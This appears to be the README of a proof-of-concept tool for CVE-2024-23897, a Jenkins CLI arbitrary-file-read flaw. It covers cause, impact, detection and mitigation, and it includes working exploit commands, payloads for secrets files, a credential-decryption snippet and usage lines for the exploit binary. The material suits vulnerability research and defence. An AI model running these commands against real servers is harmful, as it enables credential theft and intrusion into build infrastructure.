vmc8ll/poc-cve-2024-23897CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE
CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE 🎯 Affected Products and Versions
Product: Jenkins (Continuous Integration/Continuous Delivery server)
Versions: Jenkins 2.441 and earlier, Jenkins LTS 2.426.2 and earlier
Fixed in: Jenkins 2.442, Jenkins LTS 2.426.3
📝 Description
CVE-2024-23897 is a critical vulnerability in Jenkins that allows unauthenticated attackers to read arbitrary files on the Jenkins controller file system. The vulnerability exists because Jenkins does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path with the file's contents.
This flaw can lead to remote code execution (RCE) when combined with other techniques, making it particularly dangerous for organizations using Jenkins in their CI/CD pipelines. 🔍 Vulnerability Details Root Cause
The vulnerability stems from the expandAtFiles() function in the org.kohsuke.args4j.CmdLineParser class. When parsing CLI arguments, if the parser encounters an '@' symbol followed by a file path, it reads and expands the content of that file. Attack Vector
Attackers can exploit this vulnerability using the Jenkins CLI interface without authentication: bash
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
Technical Analysis File Read Limitations
Without authentication: Only first 3 lines of the file can be read (depending on CLI command)
With 'Overall/Read' permission: Full file content can be read
Binary files: Can be extracted but may be affected by encoding issues (Windows-1252 on Windows yields better results than UTF-8 on Linux)
Attack Surface Expansion
Once file read is achieved, attackers can escalate to more severe attacks:
Extract Credentials:
Read /var/jenkins_home/credentials.xml for encrypted credentials
Read /var/jenkins_home/secrets/master.key and hudson.util.Secret for decryption
Decrypt credentials using Jenkins script console: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
Forge "Remember-me" Cookies:
Obtain administrative access by forging authentication cookies
Execute Arbitrary Code:
Achieve RCE through Resource Root URL, XSS, or CSRF vectors
💥 Impact Immediate Impact
Confidentiality: Complete disclosure of all files on Jenkins server (source code, credentials, SSH keys, tokens)
Integrity: Attackers can modify builds, pipelines, and configurations
Availability: Potential for denial of service or ransomware deployment
Real-World Exploitation
This vulnerability has been actively exploited in the wild:
Added to CISA Known Exploited Vulnerabilities (KEV) catalog
Used by ransomware gangs (RansomEXX) to compromise infrastructure
Exploited by threat actor IntelBroker to steal GitHub repositories and compromise IT service providers
🔧 Detection Indicators of Compromise
Successful exploitation attempts can be detected through:
HTTP Request Patterns: text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]
Typical Payload Examples:
@/etc/passwd
@/var/jenkins_home/secrets/initialAdminPassword
@/etc/os-release
Splunk Detection Query text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ Mitigation Official Fix
Upgrade to patched versions:
Jenkins ≥ 2.442
Jenkins LTS ≥ 2.426.3
Temporary Mitigation
If immediate patching is not possible:
Disable Jenkins CLI access
Set Java system property: hudson.cli.CLICommand.allowAtSyntax=false
Restrict network access to Jenkins admin interface
Implement WAF rules to block requests containing @/ patterns
🔗 References
NVD Entry
Jenkins Security Advisory
CISA KEV Catalog
Splunk Research
Tenable CVE Page
📦 Building and Running
bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd
go run exploit.go http://target-jenkins:8080 /etc/passwd
🎯 Usage Examples bash
./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ How It Works
Session Initialization: Generates a unique 20-byte session ID
Payload Construction: Builds binary payload with help @/path/to/file structure
Upload Phase: Sends payload to Jenkins CLI endpoint
Download Phase: Retrieves file content from the response
Output: Displays the file content or error message
📊 Features
Pure Go implementation - No external dependencies
Cross-platform - Works on Windows, Linux, macOS
Configurable timeouts - Adjustable for slow networks
Clean error handling - Detailed error messages
Binary-safe - Handles both text and binary files
⚠️ Important Notes
Educational purposes only - Use only on systems you own or have permission to test
Unauthenticated reads - Without authentication, only first ~3 lines are readable
Binary files - May be affected by encoding issues (use Windows target for better binary extraction)